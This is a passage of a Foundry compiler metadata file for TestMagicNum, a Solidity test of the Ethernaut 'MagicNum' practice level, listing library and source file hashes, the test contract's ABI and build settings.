675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/MagicNumBadSolver.sol\":{\"keccak256\":\"0xb46415e9a27c0f63e5b0f5704b5d009e5e52ff2acf2451e2552c490c54957728\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c1c560e7f46a9167d4bdb9e550d13713a5a5a9e9819630f9ce9de610d49633d8\",\"dweb:/ipfs/QmSHeGUYUNAtqxCKbCxw8BiJYesFZxvWg9zyZo9kLijpWM\"]},\"src/attacks/MagicNumSolver.sol\":{\"keccak256\":\"0x841263e39394f2bafe7fc2918863b5a564dafd8191fc6e7e96de3bc2ed276398\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d9cd9d8c871ad1292e2b3d2ad47e4354bf76b827ccdd4eb0d0f1b96966707199\",\"dweb:/ipfs/QmfXyKLcJHcJQL59yf4JxbZMPRZoYHpmDb8vXQXm6nYfhx\"]},\"src/levels/MagicNum.sol\":{\"keccak256\":\"0xf2ee0db5bfcce4187f08758ef42da2ba22c643aee505ba74989234884cb60c2b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9fae110ba0676d38d647b370f76d2d2412d862571450508a36ce87bb7ddbd556\",\"dweb:/ipfs/QmXtzuvnfPia4Z8ccRDVr2TxPHsM1XQTGGJkRdxNHkgTeF\"]},\"src/levels/MagicNumFactory.sol\":{\"keccak256\":\"0x0fce57f6969d5acd3240cb3a27ceb596f62716f1383c783e8dd45baf5e97407d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7321db582e05d51c03cc22892ff69ba0eb9a171516c3acc25652f2b3a82f7d29\",\"dweb:/ipfs/QmXucXAgsnyHWjtb2yW4qZN6fV8UTHsGPbWRx3TkaJ1LaX\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/MagicNum.t.sol\":{\"keccak256\":\"0x20408c2d660f6590cc513bc93f12fb8cd3f653a5e08b4621c702fd647f354a79\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8e69e0979af50d2367e8b368a4fd68c5f2ddcee637512a721be171c948679903\",\"dweb:/ipfs/QmUZKLfRnBp9DhAFbf7WoF1bKu4qgaks4jscGzoc9X2bKv\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/MagicNum.t.sol":"TestMagicNum"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol